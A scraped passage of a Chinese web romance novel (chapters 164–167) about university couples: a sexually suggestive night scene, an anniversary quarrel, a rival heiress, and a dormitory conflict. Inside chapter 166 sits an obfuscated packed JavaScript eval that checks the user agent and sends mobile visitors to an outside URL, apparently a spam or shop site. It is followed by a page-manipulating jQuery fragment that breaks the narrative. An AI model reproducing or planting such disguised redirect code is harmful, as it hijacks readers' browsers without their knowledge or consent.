黄怀予想到电话里梁吟东那种语气,好像确实不像生气的样子,而是自家孩子金榜提名的下一秒就收拾东西去巴厘岛度假了,家长虽然有点恼怒但是也依然一边骂一边喜滋滋地去迎接各路亲戚朋友的祝贺。 ——就算骂,那也是高兴的骂。 黄怀予感叹道:“怪不得梁姐说你恋爱脑。” “嗯。”楚恒云淡风轻应了一声,慢慢从抓住她的手腕改成和她十指相扣,拉着她的手压在她头顶,一边直勾勾地看着她,一边上半身慢慢压了下来。 黄怀予一下子就感觉到不对,刚想说话,就被铺天盖地的吻给堵了回去。 “恋爱脑现在要亲你。” …… 黄怀予明显感觉到,身下有什么东西,硬邦邦地抵着自己。 不是从现在才有,是从一进门的时候,就是这样了。 楚恒浑身温度都很高,喘息很重,一大片红色从耳根一直弥漫到脖颈,但是即使这样了,手也只是守规矩地一直牵着她的手,忍不住了才会隔着衣服摸摸她的腰腹,一点都没有往上或者往下的意思。 夏天衣料都很薄,磨蹭之间黄怀予的上衣已经掀开了一点起来。动作中他的手臂不小心蹭到一点她柔软的地方,立刻浑身都一抖,咬着牙在她侧颈处深呼吸平复心绪。 “我先去洗个澡。” 他喘着气,撑着手臂坐起来,没有多看她一眼,直接进了浴室。 浴室里马上响起水声。 黄怀予躺在床上思考。 她一直在想楚恒刚刚的状态。 有这么难熬吗? 黄怀予实践经历为零,但是她理论知识极其丰富,黄文黄片看了无数,各种冷门性健康知识都极其了解。还有最重要的,她性格跳脱坦荡,不觉得难以启齿,只觉得这是 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黄怀予凑近,把他拉到床中间坐着,然后抬起身体,坐上他的腿。 楚恒被她的动作弄得有些茫然,手虽然条件反射般地勾住了她的腰,但是脸上却出现一点懵。 直到黄怀予完全坐上他的大腿,手抱住他的脖子,他才堪堪反应过来,“还要亲吗?很晚了,困不困?” 她却直接把手往下伸。 “我帮你。” 这话说完,黄怀予难得在楚恒那张一向平静的脸上看到破碎和震惊。 他一把用力攥住她往下伸的手,眉头皱了起来,“不可以。” “难道你要这样保持一晚上吗?” 黄怀予歪着头,“你刚去卫生间解决了吗?” “……”楚恒瞪着眼睛,咬着牙,盯着黄怀予的脸,沉默半晌才说,“没用。” “那不就行了。那我来帮你。” 黄怀予另一只手也往下伸,又被他握住。 现在两只手都被他牵制住,一动不动,他铁了心不同意,黄怀予挣了半天都没挣出来,没好气地瞪他一眼,“不要算了!你出去睡!别睡这间房!” 楚恒嘴角勾起一点无奈的笑。 他把黄怀予的两只手都慢慢牵住,拉起右手,拉到自己唇边吻了一下。 “就这样,一晚上,也没关系的。” 黄怀予斜眼看他,“不难受吗?” 他深呼吸一下,盯着她看,眼里满是热切的渴望,但是下一秒咬着牙又垂下眼睫,遮住了瞳孔,只是不断地亲她的手指,喘息着,“可以忍。” 黄怀予啧了一声,也没跟他废话,趁他不注意,直接就把手伸了下去。 “!” 楚恒闷哼一声,抬眼看她,那双桃花眼里全是深深的迷恋和祈望,眼尾红得心惊。 他用力地抱住黄怀予,眉头紧锁,闭着眼睛,把下巴放在她肩膀上,禁不住地重重喘息。 身下的触感几乎让他战栗,怀里的女孩手指干净柔软,细细密密的折磨一点点涌上来,像是一团火直接窜上他大脑,忍不住地头皮发麻。 房间里安静得几乎一根针掉在地上的声音都听得见,衣料的摩擦声在寂静的空间里响起,像是全世界最催/情的魔音,楚恒大口地喘息,五指收紧用力抱着怀里的人,直到再也无法忍受,才对准她白净柔软的耳/垂,一口/咬了上去。 164. 第 164 章 结束以后,楚恒抱她到卫生间给她洗手,她后来困得不行,晕晕乎乎直接睡了。 好像是凌晨的时候,她模模糊糊感觉到有人在亲自己。 脸上很痒,她皱着眉,抬手把那人的脸拍开,翻了个身继续睡。 头顶似乎传来一声很低的笑声。 等到她再次醒过来的时候,天光大亮,已经是第二天早晨十点多。 房间里干干净净,什么也没有留下。 楚恒凌晨就已经走了。 …… 手机里,苏琬叫她下来酒店二楼吃早饭,她坐电梯下去,看见谷奕和苏琬两个人菜都点好了,坐在窗边的座位,等着自己。 两个人在闲聊,说着天气真好,肚子好饿,昨晚香槟太容易醉了之类的话。 黄怀予慢吞吞走过去。 他们两人都对楚恒昨晚的到来一无所知。 除了梁吟东以外,全世界都对楚恒昨晚的到来一无所知。 他就像是一场梦,急切匆匆地来,又悄无声息地走。 那些灼热的回忆片段一幕幕在她脑子里重现,梦里的喘息,温暖的身体,恋人之间情动的双眸,和紧紧相握的手。 乱糟糟的情绪在心里肆意疯长,一种不知从何而来的隐秘的刺激快感摧毁着她的感官,她看着窗外的阳光,怅然喃喃道:“爱情到底是什么?只开一夜的花。” * 军训结束后,大家正式开始上专业课。 黄怀予见到走进教室的第一位老师是徐樱,眼睛立刻亮了起来。 她坐在第一排,听得很认真。 徐樱讲得细致入微,生动有趣,一开始通过几个例子就能让大家对社会学有一个基本认知,最后继续讲专业知识的时候也丝毫不觉得无趣,反而让人想了解更多专业领域知识、学习更多社会学家的观点。 下了课,她主动去找了徐樱老师,介绍了自己的名字。徐樱笑着点头,给她推荐了好几本入门书籍。靠近她的时候,黄怀予发现徐樱的眼睛很是明亮,眼神坚定,身上有一股若有若无的香味。她讲着涂尔干和韦伯,讲着大转型下的社会变迁,讲着社会学家们对同样的社会现象提出的不同角度的观点,引经据典,逻辑清晰,思维活跃。 黄怀予兴高采烈地拿着徐樱给的书名,去图书馆找书,每天除了上课就在看各种社会学专业书籍。 她想,她果然选对专业了,她很喜欢这样的思考,很喜欢各种各样的社科理论,很喜欢不同学派之间的学者你一言我一语提出观点相互印证又相互反驳。人类文明百万年,薪火相传代代变迁,个体组成社会,社会建构个体,循环往复往前。过去困扰她很久的一些哲学问题好像终于找到了解答路径,思想浩瀚如海,她像一条鱼游跃其中。 * 苏琬最近也很忙。 法学专业课特别多,内容繁杂,专业性强,她每天都四处奔波上课。 黄怀予还偶尔跟着苏琬去法学院听了几门课,完全没听懂,但是能体会到法学这个专业的一些学科特点。结果莫名其妙还被老师点起来回答问题,她想着自己又不是这个专业的,不用考虑平时分,干脆乱回答一气,惹得下面同学一阵哄笑,老师也笑了。 下课铃声响,苏琬和黄怀予一起走出教学楼,说着等会晚上要吃什么。 突然手机震了两下。 打开一看,谷奕给自己发了消息。 【Google】:我在江大东门,等你~ 【Google】:你上次说想去吃但是很难约的餐厅,我约好了~ 苏琬大脑宕机了片刻,一时间没明白谷奕怎么突然来了。 可是看谷奕这副语气以及每句话后面都加了波浪号的荡漾样子,苏琬隐隐约约感觉到,今天估计是什么特殊日子。而如果她又忘记了,那谷奕一定会非常生气。 她立刻去看手机日历,不是情人节,也不是谁的生日,现在是九月底,没有任何特别日程。 她在手机上删删打打,本想直接问,但是她估计如果直接问,对面又要生气,委屈巴巴地说她从来不关心他们两人之间的特别节点。 “咋了?”旁边的黄怀予凑过来,“哟,有约了?” 苏琬应了一声,满脸为难,黄怀予看她的样子就知道是怎么回事,这样的事情实在是发生了太多遍了,黄怀予哈哈大笑,“完蛋了,他等会估计得闹死你。” 黄怀予对此深有同感,她也记不得日子。想当初暑假的时候,楚恒参加比赛参加到一半,就突然跑来楚门直接到她家楼下,又是抱又是亲,委屈怨念地说两个人已经32天没有见面了——那一刻说实话黄怀予是懵逼的,她没好意思告诉楚恒,她根本不记得上一次见面是什么时候了。 苏琬心里忐忑不安,又被黄怀予直接拉着一起去了东门,“放心,我跟你一起去,帮你套话。他如果闹你,我在旁边劝一下。等没事了,你俩再一起去吃饭。” 两人走到东门,果然远远就看见,大门口,停了一辆深蓝色的汽车。 车旁,一个身材高大的男生正斜靠在车身上。 他头发很短,利落的寸头,穿了一件黑色短款皮衣外套,整个人锐利硬朗,单手插着口袋,长腿交叠,低着头盯着手里的手机看,微微皱着眉,看上去正在等人。 高个子长腿,皮衣汽车,这样一幅画面又是出现在了年轻人多的大学门口,于是来来往往所有人的目光几乎都被他吸引,周围经过的年轻女生三三两两挽着胳膊捂着嘴,脸都红了,纠结着站在一旁,不想走又只敢偷偷看他,犹豫着要不要勇敢上去加个微信。 苏琬走出校门的时候,连一旁的保安大叔都在够着脖子,盯着那辆汽车的车标看。 她和黄怀予一起走向前,车前的那个招蜂引蝶了一路的公子哥终于抬头看见了两人,神情立刻放松下来,歪着头,勾起嘴角。 “怎么不回我消息。” 谷奕走上前,自然地一把接过苏琬背上的书包,牵起了她的手就往前走。 “杯姐也来?”他看见黄怀予在旁边还有点惊讶,挑了挑眉,“但是那个餐厅我只定了两个位置,不好意思啊。” “放心,我可没有那么没眼力见。”黄怀予扫了一眼旁 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——什么重要的日子,你倒是说啊! …… 苏琬没回答。 黄怀予也没声。 谷奕终于从两人的沉默中品出了什么。 他脸色瞬间就垮了下来,拉着苏琬的手,弯下腰紧紧盯着她的脸。 “你知道今天什么日子吗。”他语气很沉。 “……”苏琬经过了几秒的心理斗争,还是决定小声承认,“不知道。” 谷奕眼睛里的光像是一下子就灭了,嘴角僵硬地撇着,长眸里流露出极度的受伤和失望。 黄怀予在一边见势不好,立刻开口帮忙补救,“嗨呀苏琬平时专业课太多了,每天都满课,对吧?脑子不够用了,真的是不小心的,你稍微提醒那么一下,她就能想起来了,对吧?你别生气哈,大好的日子你们先去吃饭——” “杯姐你先回去。” 谷奕倏地打断黄怀予的话,一把扯过苏琬的手臂,打开车门把她塞进副驾,迅速关上门,上了驾驶座,启动车子扬长而去。 “哎哎!” 黄怀予真的有点慌了。 她第一次看见谷奕脸那么黑,绷着脸那股不由分说拉着苏琬走掉的样子,身上散发出强烈的戾气。 她不由自主又想到了很久以前刚刚认识他的时候,浑身刺,不好惹,打架狠,满脸戾气。 跟着她们两个女生认识久了,公子哥每天给两人端茶倒水言听计从,打他骂他都笑着受了,久而久之还真让黄怀予都快忘了,谷奕骨子里其实是多么叛逆锋利的一个人。 “卧槽。” 她站在原地,转了好几个圈。 虽然她们三个人已经好到穿一条裤子了,但是归根结底他们俩才是情侣吧?这事,黄怀予觉得自己能介入的空间好像不多。 她只能掏出手机,给苏琬发了一条消息。 “有情况速找我。” 165. 第 165 章 深蓝色的玛莎拉蒂一路疾驰,行驶在江城街头。 车里的气氛压抑得让人心惊。 没有人说话,油门被驾驶座的男人踩到了底,苏琬几乎能感受到那种强烈的推背感。 向左望过去,只能看见男人硬朗的侧面轮廓,和紧抿的唇。他拧着眉,一言不发地扶着方向盘,车外的风景飞一般地掠过,一路响起周围乱七八糟的喇叭声,江城交通本就混乱,本地人又一个个性格暴躁,苏琬就算没学过开车也知道这样极其危险,她喊了一声,“谷奕!” 焦急的女声终于在沉闷的车里响起,谷奕听到声音的那一瞬间就握紧了拳头,手背上青筋凸起,终究还是呼出一口气,打方向盘,靠边,踩下刹车,停住,坐在驾驶座一动不动。 苏琬低下头,想着要说些什么来打破这沉闷的气氛,就听见旁边传来一声很低沉的声音。 “我和你们,不在一个学校。” 他大手搭在方向盘上,方向盘被他握得很紧,青色的血管在小麦色的皮肤上极其显眼,一路蜿蜒到黑色皮衣袖管深处。 声线很低,带着一点挫败,一点沮丧,垂着头。 “江城很大。13个区,从南到北,从东到西,从江城经济大学到江大,开车都要两个小时。” “军训训了20天。你们俩可以天天见面,一起等对方上下课,一起去食堂吃饭,一起聊天,上了大学都可以像高中一样形影不离。” “可是,我却不行。高中尚且在一个班,可是现在,我却觉得自己离你们越来越遥远。20天,我已经20天没见你了。视频通话算什么?我见不到你,牵不到你的手,抱不到你,不能亲耳听见你叫我的名字。” “我不知道你们讲的关于江大的有趣的梗是什么意思,我没听过你们学校新的八卦,我不了解你们学校小吃街哪里的奶茶最好喝,我没有和你一起在宿舍楼下静静地喂流浪猫。你们说的所有,对我来说都很陌生,我只是局外人,无法参与,像是隔了一层透明的玻璃,看得见,却永远也摸不到。” “本来如此期盼的自由自在的大学生活,可是,为什么我却一点也不开心呢。” 谷奕突然叫她的名字。 “苏琬。” 他抬起头,侧过身,看着她,眼里多了很多不明不白的情绪。 “今天,是我们恋爱一百天。” “从2018年6月21号晚上的那场流星雨开始,的恋爱一百天。” 话音落下,苏琬只觉得自己脑子轰的一声,像是有什么东西在自己脑子里轰然炸开。 ……原来是这个日子。 这就是他为什么今天那么高兴地来接自己去吃饭的原因? 那家餐厅非常难约,甚至网络上一放号就会在几分钟之内被抢光,苏琬只是在某一次的简短聊天里顺带提了一句,可是,他却记了下来,就在今天说,他抢到了,开着车,来她的学校门口,等她一起去。 谷奕紧紧盯着她的脸,像是不想错过她任何细微的面部表情。 直到看到她微张着唇,像是终于从他的话里知道了答案才恍然大悟的样子,谷奕终于放弃了般,自嘲地轻笑了一声,转过脸,看向车前方。 空气像是凝滞了般固定,风也消失。 江城的夏天闷热潮湿,堵在心里,沉沉地难受。 广阔的天,狭小的车,明明两人同处于一辆车的紧密狭窄空间之内,可是两人之间却好像隔得很远,两个座位分开,被安全带绑着,你是你,我是我。 他突然解开安全带,像是忍耐不住什么情绪,身上的低气压几乎低到靠近都会打个寒战的地步,可是他却仍然是抿唇忍着,没有在她面前发泄出来,而是迅速打开车门,走了出去。 “我先出去冷静一下。” 这一句话被冷硬地扔下,紧接着就是车门被甩上的声音,“砰——”地一声。 …… 苏琬一个人在车里静静坐了一会。 然后解开安全带。 打开车门,发现这里是一个很清幽的公园。比较偏僻,没什么人,周围空空荡荡。 他之前开着车一路狂飙,最后把车开到了这种人少的地方,是因为之前在学校门口被黄怀予说有很多人围观、怕她会不舒服吗? 苏琬站在车门边,看见不远处的树下,一个高大的年轻男人站在那里。 侧面对着她,斜靠着粗壮的树干,利落的黑色皮衣勾勒出宽阔的肩背和窄瘦的腰,长筒靴显得整个人腿更长,黑压压大高个,压迫感极重,光是看见他站在那里的背影就能感觉到那股扑面而来的男性荷尔蒙。 眼前一晃,好像有什么小小的光亮一闪而过。 苏琬才发现,他嘴角居然咬着一根烟。 右手从口袋里掏出了一个打火机,慢慢点燃,银色的打火机闪过一点光,被他放回去。 两只手一直插着兜,都没有拿上来过,低着头,嘴角叼着那根烟,小小的细微的火光在他脸侧闪现,白灰色的烟雾飘飘渺渺,像是给他凌厉的侧脸轮廓镀上一层不真实的迷雾。 ——谷奕几乎从来不在她面前抽烟。 上一次,在楚门一中附近,被杨天奇带人堵在小巷子里拳打脚踢,打得鼻青脸肿,被她拉着拼命跑出来,额头裂了一条大口子,鲜红的血往下流,他抖着手,靠在小巷口抽烟。 然后,就是现在。 他好像没有瘾,不会沉迷,只是在情绪的极点或者体力的边缘才会点燃一根,一个人静静地站着。 苏琬听见自己的心跳声。咚咚咚。 她一步步走上前。 那人注意到她走过来,一愣,随后立刻低下头,把嘴角的烟拿掉,掐灭,扔进了旁边的垃圾桶里。 看着她还在一步步走近,谷奕侧过头不看她,看着别处,突然说: “先别过来。” “烟味散了你再过来。” 却看见,苏琬仍然一步步往前走,直到走到他面前,走到两个人鞋尖都互相紧贴着,近到谷奕几乎都可以闻到她身上那股淡淡的香味,才停住,站着,仰头看他。 谷奕很不自然地咳了一声,移开视线,“……干什么。” 苏琬仰头,面色平静地看着他。 她看见,谷奕耳根已经红了,垂着眼,不敢和她对视。 苏琬才开 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这家餐厅确实很好吃。吃完饭,苏琬去洗手间,谷奕站在餐厅门口等她,心情无比得好。 多么完美的一次约会,和她见到了面,吃上了她一直想吃的餐厅,还得到了承诺说每周日都可以见一次。 谷奕嘴角都翘了起来,看街上谁都顺眼。 路过一只流浪狗,他都蹲了下去,摸了两下头,又去便利店买了块熟的鸡胸肉,一点点撕了喂给它。墙根下一个灰尘扑扑的中年女人跪着行乞,他掏了一百块现金扔了进去,那女人都愣了,还没说话,谷奕已经揣着兜冷酷地走了。 别太感谢,哥今天心情好,就喜欢做好事! 他找了个人少的角落继续等苏琬。 一只手撑在路边的树干上,低着头,点了一根烟,继续之前那根没抽完就因为怕苏琬闻见烟味而掐灭的体验。 这个角落人少,但是他这身打扮实在是太显眼,身材又高大,也总有不远处的人盯着他看,讨论是不是什么模特在拍照。他低着头也没在意,烟雾围绕在他身边,突然,眼前落下一道阴影。 他以为是苏琬回来了,刚想掐灭,就听见前方一道娇滴滴的女声: “一个人在这抽烟?” “好帅哦。” 他顿了一下,抬起头,看见面前站着一个不认识的年轻女人,头发顺滑,站得笔直,拎着包,穿着高跟鞋,正笑意吟吟地看他。 谷奕皱了皱眉,被她身上的香水味熏得难受,转过身,背对她,往前走了几步,没理她,继续抽烟。 却没想到面对一个冷酷的背影,女人都还追了上来,又绕到他身前。 “不认识我了?” 谷奕一愣。 “你还参加过我十二岁的生日会呢。在魔都的凯撒酒店。” 她红唇勾起来,长发飘散,盯着谷奕看。 “易氏银行,易南希。” 166. 第 166 章 谷奕这下彻底呆住了。 一些很久之前的回忆片段钻进他脑海里。 从很小开始他就被谷玉带着参加各种名流聚会晚宴。 这么多年里,如果要加入周围的社交圈,就得跟着那群富二代小姐公子,显得稍微高级点的赌马逛街打高尔夫赛车,剩下的泡吧蹦迪泳池party。 明明大家都是俗人,为了金钱权力欲望,表面上却还一个个西装革履拿着红酒谈生意社交,互相都装得特熟的样子,谷奕跟着谷玉去过一两次以后,就再也不想去了,觉得没劲透顶。 那个时候正是中学叛逆的时候,跟谷玉关系也不好,几乎每天都吵架。所以哪怕偶尔被逼着去了一次,他也是百无聊赖缩在角落,吃饱了就走。 几个公子哥上来勾肩搭背邀请他去赛车,旁边还有这个酒店那个餐厅的大小姐红着脸想和他打声招呼,他都臭着脸没理,直接回家,背上望远镜又去郊区看星星了。 也因为这个原因,谷奕在圈子里名声很不好,都说他仗着家里生意做得稳定,很是目中无人、狂妄桀骜。偏偏他还跟谷玉关系不好,跟自己亲妈都三天两头吵架,这么一棵大树都不知道抱好,简直是草包中的草包。 …… 易氏银行? 自从被谷玉发配去楚门以后,谷奕就已经离之前那个圈子很远了。他没想到现如今还能碰见那个圈子里的人。 “总算找到你了。”易南希笑得妩媚。 “……”谷奕没说话,往后退了两步,眉头都皱了起来。 “大家都说,你因为跟你妈大吵一架被惩罚去了云省的一个听都没听过的穷乡僻壤十八线小城市,被迫读了一年高三,还参加了高考,现在在云省江城上大学。” “这事在圈子里人尽皆知。” “如果不是现在亲自来了一趟,亲眼见到了你,我还不信呢。云省这地方,哪里那么吸引人,竟然引得那么狂妄的胜家酒店公子宁愿在这里待五年。” 易南希盯着谷奕的脸看,“好像晒黑了一点。头发也变短了。” 她走近一步,凑到谷奕身前,抬着头看他,笑得风情万种,“但是更帅了。” 谷奕一把扯下嘴角叼着的烟,跟她彻底拉开一个极远的社交距离,仰着下巴,满脸不耐,“我认识你吗?” “我刚说的,我十二岁生日会上,我们见过。” 易南希还希望对方能想起一点什么,却没想到谷奕嗤了一声,“早JB忘了。” “当时,我们两家大人关系都很好,易氏银行和胜家酒店之间合作关系很密切,几位大人还开玩笑说希望我长大以后以后嫁进谷家。” “那你嫁给我妈。”谷奕想也没想地回答道。 “……只是后来没想到,原来你和如春饭店家的辛桐订了娃娃亲。听说,你们很熟?当时你在云省读高三的时候,她还来看过你吧。” “你这么关心辛桐,那你嫁给辛桐。” “……”易南希一连串的话都被堵了回去,她脸色有些难看,但还是尽力维持笑容,“留个联系方式吧,下次见面。” 谷奕像看神经病一样看她一眼,“谁要跟你见面?你还真想当我后爸?” 他烦躁地看了一眼手表上的时间,估计着苏琬要出来了,实在是懒得跟这人纠缠,转身就要走。 却没想到身后立刻传来一道声音: “你在等谁?” 易南希语气里带着些试探,像是希望能打探出一些消息,“女朋友?” 谷奕听到“女朋友”三个字,立刻站定,转过身看她一眼,脸色几乎是立刻就黑了下来。 “关你屁事。” 易南希连续被骂了好几句,脸上笑容却还极力保持不变,她走上前几步,盯着谷奕脸上的表情,问道,“应该不是辛桐吧。” “辛桐这一年几乎一直在魔都。” “况且你和辛桐虽然有婚约,但是两个人一直都没有感情基础。” “是,其他人?”易南希一边盯着他的表情,一边猜,“你来了云省之后认识的人?……不会也就是因为这个人,你才愿意一直留在云省?” 易南希这一趟来江城,是势在必得的。易氏银行这几年经营状况愈来愈差,父母多次为她留意婚事,把圈子里适龄的二代全都看了一遍,旨在期望联姻能带来新的合作伙伴,挽救一下岌岌可危的家族生意。 可是从小在这个圈子里耳濡目染,易南希当然知道,这圈子里哪有好男人。装的高级点的还用恋爱关系来给个名分,不装的直接摊牌夜店玩咖□□红女星。 至于那些自诩从小被当做家族继承人身份来培养的人,一个个自认是天之骄子,周围众星捧月,就更不把女人放在眼里,婚姻家庭只是利益手段,在外彩旗飘飘完全是所有人都默认的传统。 易南希太了解有钱男人了。身居高位的男人,周围的性资源简直多到数不清,所有人会抢着把猎物送到你面前,男女通吃荤素不忌。她感到毛骨悚然,她也对这种各玩各的夫妻生活感到极其厌恶。 ——在这圈子里所有人的对比之下,谷奕简直被衬托得像一股清流。 他看谁都不耐烦,对谁都不给好脸色。所有人都急着巴结他妈,他天天跟他妈吵架。社交聚会大家都急着结识资源人脉,他坐在角落黑着脸吃完就走。没有绯闻,没有不良嗜好,从不泡吧,从不恋爱,看星星的时间比看人都多。 胜家酒店集团的独子,不出意外的话所有遗产全是他的。 以及,还有最容易被豪门联姻强烈的利益交换的本质忽略的、却也是易南希最心动的一点——他外表太过出众,鹤立鸡群。 身材高大,眉眼锋利,宽肩腿长,一眼看过去说是模特都不为过。 种种因素综合下来,易南希没有任何理由不去主动接近谷奕。 据她所知,谷奕去云省之前,圈子里起码有三四家集团的小姐都对他有意思。谁知道谷奕突然就去云省读高三,消失了整整一年。云省太远,谷奕又是以母子关系不和而“被贬”的形式去的,其他人也都慢慢偃旗息鼓。 只是,谷玉今年二月底去了云省楚门,参加了楚门一所高中的百日誓师大会——这消息一出,大家心里几乎都有了数,母子俩估计是已经和好了。 易南希一直关注着谷奕这边的动向,得知他决定在江城上大学的那一刻就决定要亲自来一趟江城。九月份大学一直在军训,今天总算等到谷奕出校,她这次出现在他面前,心里想着,哪怕没有留下好印象,最起码也要留下联系方式刷个脸,之后再多接触。 “你真是为了她,才愿意留在云省?” 易南希一点点地猜,也在一点点刺探消息,她有点不敢相信那个一向从不恋爱、没有任何绯闻的谷奕居然已经有了女朋友,心里已经一沉。 “是云省本地人吗?……家里做什么生意的?” 她一句一句地问,谷奕却早就没了耐心,用力吸了一口烟之后就皱着眉头把烟蒂扔进了旁边的垃圾桶里,转身想走的下一秒,眼神却突然定住在某个地方,刚刚还满脸不耐烦此时却突然变得柔和,迈开长腿快步往那个方向走去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14422582|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 易南希惊讶,就这么眼睁睁看着谷奕一步步走过去。 街角那边站着一个女生,黑色长发,穿着白色纱质长裙,皮肤很白,五官秀气精致,第一眼看过去觉得纤细柔软,但是肩背却挺得很直,整个人极有气质。 谷奕快步走过去,低着头,极其自然地接过了女生手里的包,然后牵住她的手,低头问了几句话,神色认真温柔。 女生低头看了看,发现自己脚上帆布鞋的鞋带松了,刚想弯腰,却被他牵着手拉住,然后径直蹲下身,半跪着给她系鞋带。 他动作认真,极其温柔,还笨手笨脚地系了一个蝴蝶结。 ……易南希站在原地,只觉得整颗心都跟着沉了下去。 她从没见过他对哪一个人这样耐心包容温柔过。 …… 苏琬被谷奕牵着到了车前。 坐进去刚系上安全带,准备启动,苏琬突然看见前方慢慢走过来一个女人。 长发,五官很艳丽,身上的裙子看上去面料很好,穿着高跟鞋。她目光和苏琬隔空交汇,随后就一直落在苏琬身上,朝着两人的车就这样走过来。 那女人每走过来一步,驾驶座的谷奕脸色就黑了一分。 他皱着眉,长眸不耐烦地压下来,直接脚踩油门准备开过去——被苏琬一把拉住,“哎!她还在车前面呢!你会撞到她的!” 那女人就这样一步步走到副驾驶座的车门边,弯下腰。 “不给联系方式也没关系。我总有办法拿到的。” 她虽然是在对驾驶座的谷奕说话,但是她眼睛却一直盯着苏琬看,眼里明晃晃的全是挑衅。 “女朋友?不介绍也没关系,我总有办法查到的。” 她掏出一张名片,直接塞进了车窗缝隙里夹住,对苏琬眨眨眼睛,露出一个笑。 “我们后会有期。” * 苏琬慢慢伸出手,把车窗缝隙里夹住的那张薄薄的名片取了下来。 “易氏银行,易南希,Nancy。” 下面还跟着一串电话。 苏琬没怎么见过名片,但是她印象里名片好像都是工作场合才会递出去,上面会写主人的公司、职位和联系方式——至于眼前的这张,只有明晃晃的“我姓易,易氏银行的易”,以及一串电话号码,怎么看都像是精准给苏琬准备的。 “操。”谷奕一拳垂在方向盘中间,车子发出一声沉闷的喇叭响。 “你别管她。”谷奕有些急切地抓住她的手腕,执着地去看她的眼睛,“我都没理她!我一句好话都没说过!你别误会,我跟她完全不认识!” “我也不知道她今天怎么就知道我们在这里,我,我发誓我绝对不会理她,以后任何陌生人加我微信我绝不通过!” “我手机密码1020,你的生日。”谷奕一把把自己的手机塞进苏琬怀里,话里带了些急促,“你随便看,想什么时候看就什么时候看。” “苏琬……”男人有些慌张落寞的声音传来,他长眸像是含了水光,眼角都委屈地耷拉下来,“你看看我。” 眼前的男人一个劲地往她怀里蹭,接近一米九的高大个子蜷缩在一起,短簇硬挺的黑发刺得她肩膀处的皮肤又扎又痒。 “知道了。” 苏琬叹息一声,摸摸怀里这只极力想自证清白害怕被抛弃的大狼狗。 “谷奕,一百天快乐。” “……”狗埋在她怀里不动了,过了几秒才哼哼唧唧,沉闷的声音像是染着点笑意,“嗯。一百天快乐。” 167. 第 167 章 黄怀予等到晚上九十点,才收到苏琬的消息。 “已解决。” 她这才松了口气,感叹应该是哄好了,毕竟谷奕真的很好哄。 她下床去卫生间,结果在水池边果然又看见了几个用过的纸团。她顺手帮忙收起来扔进了垃圾桶,然后进门敲敲戚天的床边,“你用过的纸又没扔,我帮你扔了。” 戚天正在床上打电话,估计是和她那位异地的男朋友打电话,声音比蜜还甜。 骤然被黄怀予打断,她脸色一下子变得不耐烦起来,“知道了知道了。你扔了就扔了,不用再来找我说了,这么点小事也要邀功。” 寝室里一片安静,其他两个室友都默默干自己的事没出声,黄怀予无语地吐出一口气,也没说话,上床睡觉了。 只是这一夜戚天就这样打电话打到了凌晨两点,声音虽然在熄灯之后变小了一点,但是依然极其清晰,黄怀予甚至都已经知道了她男朋友读什么学校、什么专业、室友几个人、中午吃了什么饭这种完全不想主动了解的信息了。 第二天起来,戚天一大早就已经出门去了图书馆。中午她带着饭回来,寝室只有她们两人,黄怀予打算跟她说一下晚上打电话不要太晚的事情,没想到才刚开了个头就被戚天恼怒打断: “我跟我男朋友打电话碍着你什么事!我爱打到几点就打到几点,你们要是嫌我吵,自己出去住酒店!” 黄怀予暴脾气一下子被点燃了,“你搞搞清楚我们都是住宿舍,夜晚不打扰别人休息不是基本规则吗?你凌晨两点还在发出噪音你居然还理直气壮?” “我理直气壮怎么了!”戚天像是也自知自己行为有些不当,但是仍然梗着脖子,“我看你是没有男朋友,羡慕我有男朋友吧!” “你们几个全是单身,一个个找不到男朋友,没人要,才嫉妒我可以和男朋友打电话吧!” 这话一喊出来,整间寝室瞬间就安静了下来。 黄怀予本来还一腔怒火,准备跟戚天大吵一架,狠狠掰扯一下寝室集体生活的规则问题,毕竟之后还要住四年,早点闹出矛盾早点解决更好。 可是,戚天这句话一出,她满腔怒火一下子消失得无影无踪,瞬间就哑火,随后被一股强烈的无力感笼罩。 在那一刻,她盯着面前的黝黑瘦弱的女生,意识到一点: ——她们俩,完全不是一路人。 这个结论一出来,黄怀予一下子就丧失了所有沟通欲望。她只觉得这个世界似乎跟她想象的很不一样,原来还有同龄女生会有这样的想法,原来还有同龄女生一步步升学考试走到今天,明明可以自己站在顶峰处,却还要想象一个比她更高的虚幻男人来理所当然地拥有自己。这种拥有,甚至被她看作是一种荣耀。 黄怀予不说话了。 “……”戚天被黄怀予突如其来的沉默给弄得有些不知所措起来,她喘着粗气,也安静了下来,这才慢慢意识到自己刚才那句话实在是有点话赶话、冲动上头了。 她低下头,盯着地面,不说话。 两个人都这样陷入沉默,周围一片尴尬的死寂。 过了几秒,戚天才盯着地面的某一处,别扭开口,“……我不是那个意思。我不是故意骂你的,不好意思。” 等了一会却还没等到黄怀予的回答,她抬起头,正好与黄怀予盯着她的平静眼神撞上。 黄怀予缓缓开口: “你可以随便骂我,说我没素质、脾气暴、不好相处、人品差。所有的脏话你都可以说出来,这种时候最起码我们两个都是独立的人,我们俩可以轰轰烈烈打一架。” “但是,你不能用‘没有男人要’来骂我。我不是奴隶,不是物品。你也不是。全世界所有女人都不是。” 这话说完,戚天像是呆住了,愣愣地看着她。 黄怀予忽然感觉到很是疲累。她也不知道这两句话戚天能不能明白,她只是不想再呆在寝室里了,于是顺手拿起了包,转身出了门。 …… 苏琬说每周日是她和谷奕的固定约会日,一般来说她都是不在学校的。 所以黄怀予没去找她,去校门口大吃了一顿,随后又慢悠悠在学校周围闲逛了下,心情也慢慢好起来了。 一个下午慢慢过去,她哼着歌回寝室,准备早早洗澡,顺便躺床上看看小说。戚天一般下午都会去图书馆,另外两个室友也各自有社团活动,她估计寝室里应该只有她一个人。 却没想到一打开门,灯竟然是亮的。 她远远地就看见,前面地板上,躺着一个人。 黄怀予心里陡然一惊,立刻跑过去。 ——戚天躺在冰凉的地板上,蜷缩在一起,双手捂着肚子,满头是汗,紧闭着眼睛,脸色苍白得像是一张纸。 旁边的桌子上,放着一片拆封过的卫生巾。 